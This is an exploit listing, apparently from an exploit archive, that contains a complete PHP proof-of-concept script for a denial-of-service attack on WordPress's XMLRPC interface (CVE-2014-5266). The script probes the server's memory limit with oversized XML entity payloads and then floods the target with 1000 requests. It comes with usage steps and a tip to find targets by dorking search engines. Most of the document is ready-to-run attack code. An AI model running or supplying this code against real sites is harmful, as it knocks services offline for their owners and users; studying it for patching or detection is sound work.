Share
## https://sploitus.com/exploit?id=PACKETSTORM:189712
=============================================================================================================================================
    | # Title     : WordPress XMLRPC v3.9.2 Denial of Service vulnerability                                                                     |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.WordPress.org/                                                                                                  |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+] Code Description: This code performs a Denial of Service (DoS) attack against WordPress' XMLRPC interface, which had a vulnerability that was consuming server resources when sending large requests.
       
       (Related : https://packetstorm.news/files/id/180506/ Linked CVE numbers: CVE-2014-5266 ),
    	
    [+] save code as poc.php.
    
    [+] Set taget : Line 84.
    
    [+] USage : php poc.php 
    
    [+] PayLoad :
    
    <?php
    
    class WordpressXMLRPCDoS {
        private $target;
        private $requestLimit;
        private $defaultLimit;
        private $fingerprintStep;
    
        public function __construct($target, $requestLimit = 1000, $defaultLimit = 8, $fingerprintStep = 8) {
            $this->target = $target;
            $this->requestLimit = $requestLimit;
            $this->defaultLimit = $defaultLimit;
            $this->fingerprintStep = $fingerprintStep;
        }
    
        private function sendRequest($xml) {
            $ch = curl_init($this->target . '/xmlrpc.php');
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $xml);
            curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: text/xml']);
            curl_setopt($ch, CURLOPT_TIMEOUT, 3);
            
            $response = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            return $httpCode;
        }
    
        private function fingerprint() {
            $memoryToUse = $this->fingerprintStep;
            while ($memoryToUse < 1024) {
                echo "Trying memory limit {$memoryToUse}MB\n";
                $xml = $this->generateXML($memoryToUse);
                $responseCode = $this->sendRequest($xml);
    
                if ($responseCode == 500) {
                    $lastLimit = $memoryToUse - $this->fingerprintStep;
                    echo "Got an error - using limit {$lastLimit}MB\n";
                    return $lastLimit;
                }
    
                $memoryToUse += $this->fingerprintStep;
            }
    
            echo "Cannot determine limit, using default of {$this->defaultLimit}MB\n";
            return $this->defaultLimit;
        }
    
        private function generateXML($size) {
            $entity = bin2hex(random_bytes(2));
            $doctype = bin2hex(random_bytes(3));
            $param1 = bin2hex(random_bytes(3));
            $param2 = bin2hex(random_bytes(3));
    
            $sizeBytes = $size * 1024;
            $xmlTemplate = "<?xml version='1.0' encoding='ISO-8859-1'?>"
                         . "<!DOCTYPE {$doctype} ["
                         . "<!ENTITY {$entity} '" . str_repeat('A', $sizeBytes) . "'>]"
                         . "<methodCall>"
                         . "<methodName>&{$entity};</methodName>"
                         . "<params>"
                         . "<param><value>{$param1}</value></param>"
                         . "<param><value>{$param2}</value></param>"
                         . "</params></methodCall>";
            return $xmlTemplate;
        }
    
        public function run() {
            echo "Fingerprinting memory limit...\n";
            $size = $this->fingerprint();
            echo "Using {$size}MB as memory limit\n";
            
            $xml = $this->generateXML($size);
            
            for ($i = 1; $i <= $this->requestLimit; $i++) {
                echo "Sending request #{$i}...\n";
                $this->sendRequest($xml);
            }
        }
    }
    
    $target = "http://example.com"; // ضع هنا رابط الهدف
    $attack = new WordpressXMLRPCDoS($target);
    $attack->run();
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================